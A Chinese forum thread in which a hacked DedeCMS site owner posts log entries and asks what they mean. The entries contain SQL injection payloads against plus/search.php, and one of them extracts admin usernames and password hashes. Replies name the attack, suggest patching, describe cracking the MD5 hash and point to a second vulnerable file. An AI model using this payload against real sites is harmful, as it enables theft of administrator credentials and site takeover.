cnjiao

dede cms网站被黑，data里面有这样的txt，想知道这个txt里面的执行语句是什么意思？另外我网站什么地方不安全（漏洞）

dede cms网站1：

117.95.116.207||/plus/search.php?keyword=as&typeArr%5B%20uNion%20%5D=a||SELECT channeltype FROM `dede_arctype` WHERE id= uNion LIMIT 0,1;||SelectBreak


dede cms网站2：
58.22.135.103||/plus/search.php?keyword=aa&typeArr%5B111%3D@%60%5C'%60)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+%60%23@__admin%60%23@%60%5C'%60+%5D=a||SELECT tp.*,ch.typename as ctypename,ch.addtable,ch.issystem FROM `dede_arctype` tp left join `dede_channeltype` ch on ch.id=tp.channeltype  WHERE tp.id='111=@`\'`) UnIon seleCt 1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from `dede_admin`#@`\'` ' LIMIT 0,1;||SelectBreak

zgqc

sql注入吧，dede有补丁就打一下

恋飞的鸵鸟

cnjiao 发表于 2013-7-16 13:30
前面的ip怎么解释呢？是什么意思

那段txt是楼主导出的日志，某IP在某时间访问的页面

被黑原因：SQL注入

cnjiao

没有了解的吗

如何忘记你

我不懂技术的啊

我马云

好复杂的SQL语句

cnjiao

前面的ip怎么解释呢？是什么意思

bestmoban

dede自身漏洞多，找我们吧，安全套装，彻底解决。

每天都不开心

这个是可以弄到后台的MD5加密密码 然后去解密出来就是后台的登陆密码，但是这个只是单纯的找到登陆密码，找后台貌似也很难的

bestmoban

光过滤SQL注入没用,Plus/mytag_js.php也存在漏洞。